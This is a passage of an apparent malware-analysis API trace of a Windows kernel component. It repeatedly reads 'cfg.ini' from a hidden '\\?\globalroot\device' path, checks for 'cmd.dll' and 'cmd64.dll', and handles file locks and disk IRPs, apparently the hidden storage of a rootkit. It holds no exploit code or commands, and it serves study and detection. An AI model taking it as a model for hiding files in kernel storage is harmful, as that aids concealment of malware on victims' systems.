[0129.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.142] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03a70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] KeLeaveCriticalRegion () [0129.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.142] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.142] KeEnterCriticalRegion () [0129.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] KeLeaveCriticalRegion () [0129.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.142] ReleaseMutex (hMutex=0xf0) returned 1 [0129.142] Sleep (dwMilliseconds=0x124f80) [0129.158] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.158] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.158] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.158] KeEnterCriticalRegion () [0129.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.158] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.158] IdePortDispatch () returned 0x103 [0129.158] KeWaitForMutexObject () returned 0x0 [0129.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.158] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.158] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.158] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.158] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03590 [0129.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.158] KeLeaveCriticalRegion () [0129.158] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.158] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.158] KeEnterCriticalRegion () [0129.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.158] KeLeaveCriticalRegion () [0129.159] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.159] KeEnterCriticalRegion () [0129.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.159] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.159] IdePortDispatch () returned 0x103 [0129.159] KeWaitForMutexObject () returned 0x0 [0129.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.159] KeLeaveCriticalRegion () [0129.159] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.159] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.159] KeEnterCriticalRegion () [0129.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba8000 [0129.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.159] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.159] IdePortDispatch () returned 0x103 [0129.159] KeWaitForMutexObject () returned 0x0 [0129.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.160] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.160] IdePortDispatch () returned 0x103 [0129.160] KeWaitForMutexObject () returned 0x0 [0129.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.160] KeLeaveCriticalRegion () [0129.160] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.160] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.160] KeEnterCriticalRegion () [0129.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.160] KeLeaveCriticalRegion () [0129.160] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.161] KeEnterCriticalRegion () [0129.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.161] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.161] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.161] KeLeaveCriticalRegion () [0129.161] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.161] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.161] KeEnterCriticalRegion () [0129.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.161] ExFreePoolWithTag (P=0xfffffa8003c03590, Tag=0x0) [0129.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.161] KeLeaveCriticalRegion () [0129.161] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.161] ReleaseMutex (hMutex=0xf0) returned 1 [0129.161] Sleep (dwMilliseconds=0x124f80) [0129.176] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.176] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.176] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.176] KeEnterCriticalRegion () [0129.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.176] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.176] IdePortDispatch () returned 0x103 [0129.176] KeWaitForMutexObject () returned 0x0 [0129.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.176] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.176] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.176] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.176] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.176] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.176] KeLeaveCriticalRegion () [0129.176] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.176] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.177] KeEnterCriticalRegion () [0129.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.177] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.177] KeLeaveCriticalRegion () [0129.177] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.177] KeEnterCriticalRegion () [0129.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.177] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.177] IdePortDispatch () returned 0x103 [0129.177] KeWaitForMutexObject () returned 0x0 [0129.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.177] KeLeaveCriticalRegion () [0129.177] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.177] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.177] KeEnterCriticalRegion () [0129.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bad000 [0129.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.177] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.177] IdePortDispatch () returned 0x103 [0129.178] KeWaitForMutexObject () returned 0x0 [0129.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.178] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.178] IdePortDispatch () returned 0x103 [0129.178] KeWaitForMutexObject () returned 0x0 [0129.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.178] KeLeaveCriticalRegion () [0129.179] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.179] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.179] KeEnterCriticalRegion () [0129.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.179] KeLeaveCriticalRegion () [0129.179] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.179] KeEnterCriticalRegion () [0129.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.179] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.179] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.179] KeLeaveCriticalRegion () [0129.179] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.179] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.179] KeEnterCriticalRegion () [0129.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.179] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.179] KeLeaveCriticalRegion () [0129.179] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.179] ReleaseMutex (hMutex=0xf0) returned 1 [0129.180] Sleep (dwMilliseconds=0x124f80) [0129.195] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.195] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.195] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.195] KeEnterCriticalRegion () [0129.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.195] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.195] IdePortDispatch () returned 0x103 [0129.195] KeWaitForMutexObject () returned 0x0 [0129.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.195] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.195] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.195] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.195] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.195] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.195] KeLeaveCriticalRegion () [0129.195] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.195] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.195] KeEnterCriticalRegion () [0129.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.195] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.195] KeLeaveCriticalRegion () [0129.195] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.195] KeEnterCriticalRegion () [0129.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.195] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.196] IdePortDispatch () returned 0x103 [0129.196] KeWaitForMutexObject () returned 0x0 [0129.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.196] KeLeaveCriticalRegion () [0129.196] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.196] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.196] KeEnterCriticalRegion () [0129.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb2000 [0129.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.196] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.196] IdePortDispatch () returned 0x103 [0129.196] KeWaitForMutexObject () returned 0x0 [0129.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.196] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.196] IdePortDispatch () returned 0x103 [0129.196] KeWaitForMutexObject () returned 0x0 [0129.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.197] KeLeaveCriticalRegion () [0129.197] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.197] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.197] KeEnterCriticalRegion () [0129.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.197] KeLeaveCriticalRegion () [0129.197] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.197] KeEnterCriticalRegion () [0129.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.197] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.197] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.197] KeLeaveCriticalRegion () [0129.197] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.197] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.198] KeEnterCriticalRegion () [0129.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.198] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.198] KeLeaveCriticalRegion () [0129.198] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.198] ReleaseMutex (hMutex=0xf0) returned 1 [0129.198] Sleep (dwMilliseconds=0x124f80) [0129.213] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.213] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.214] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.214] KeEnterCriticalRegion () [0129.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.214] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.214] IdePortDispatch () returned 0x103 [0129.214] KeWaitForMutexObject () returned 0x0 [0129.214] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.214] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.214] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.214] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", 